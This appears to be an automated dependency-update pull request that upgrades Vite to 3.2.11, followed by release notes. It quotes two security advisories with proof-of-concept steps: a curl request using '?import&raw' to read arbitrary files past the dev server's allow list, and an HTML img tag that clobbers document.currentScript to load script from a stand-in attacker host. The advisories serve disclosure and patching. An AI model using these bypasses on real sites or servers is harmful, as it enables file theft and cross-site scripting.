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chore(deps): update dependency vite to v3 [security] #160

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chore(deps): update dependency vite to v3 [security] #160

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This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vite (source) ^2.6.2 -> ^3.2.11 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Release Notes

vitejs/vite (vite)

v3.2.11

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.10

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.8

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.7

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.6

Compare Source

v3.2.5

Compare Source

v3.2.4

Compare Source

v3.2.3

Compare Source

v3.2.2

Compare Source

v3.2.1

Compare Source

v3.2.0

Compare Source

Main Changes
Multiple Entries for Library Mode

Library mode now supports multiple entries:

  lib: {
    entry: {
        primary: 'src/index.ts',
        secondary: 'src/secondary.ts'
    },
    formats: ['es', 'cjs']
  }
  // => primary.es.js, primary.cjs.js, secondary.es.js, secondary.cjs.js

Check out the PR #​7047, and the build.lib config docs

build.modulePreload options

Vite now allows filtering and modifying module preload dependencies for each entry and async chunk. experimental.renderBuiltUrl will also get called for preload asset paths. And build.modulePreload.resolveDependencies will be called both for JS dynamic imports preload lists and also for HTML preload lists for chunks imported from entry HTML files. Refer to the PR for more context #​9938 and check out the modulePreload config docs. Note: build.modulePreloadPolyfill is now deprecated, please migrate to build.modulePreload.polyfill.

Include Duplicate Assets in the Manifest

Laravel and other backends integrations will now get entries for every asset file, even if they have been de-duplicated. See #​9928 for more information.

Customizable ErrorOverlay

You can now customize the ErrorOverlay by using css parts. Check out the PR for more details: #​10234.

Features
Bug Fixes
Previous Changelogs
3.2.0-beta.4 (2022-10-24)

See 3.2.0-beta.4 changelog

3.2.0-beta.3 (2022-10-20)

See 3.2.0-beta.3 changelog

3.2.0-beta.2 (2022-10-14)

See 3.2.0-beta.2 changelog

3.2.0-beta.1 (2022-10-10)

See 3.2.0-beta.1 changelog

3.2.0-beta.0 (2022-10-05)

See 3.2.0-beta.0 changelog

v3.1.8

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.7

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.6

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.5

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.4

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.3

Compare Source

v3.1.2

Compare Source

v3.1.1

Compare Source

v3.1.0

Compare Source

Main Changes
  • Vite now uses parse5, which parses HTML in the same way as the latest browser versions. This migration gives us a more robust HTML story moving forward (#​9678).
  • Vite now supports using objects as hooks to change execution order (#​9634). Check out the RFC and the implementation upstream at rollup/rollup#4600 for details and rationale. 
      import { resolve } from 'node:path';
  import { readdir } from 'node:fs/promises';

  export default function getFilesOnDisk() {
    return {
      name: 'getFilesOnDisk',
      writeBundle: {
        // run this hook sequentially even if the hook is parallel
        sequential: true,
        // push this hook to the 'post' stage, after all normal hooks
        order: 'post',
        // hook implementation
        async handler({ dir }) {
          const topLevelFiles = await readdir(resolve(dir))
          console.log(topLevelFiles)
        }
      }
    }
  }
    Read the updated Rollup Plugin docs for more information.

Note
After Vite 3.1, you are no longer going to see [vite] hot updated log messages in the browser console. These messages have been moved to the debug channel (#​8855). Check your browser docs to show debug logs.

Features
Bug Fixes

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

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🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

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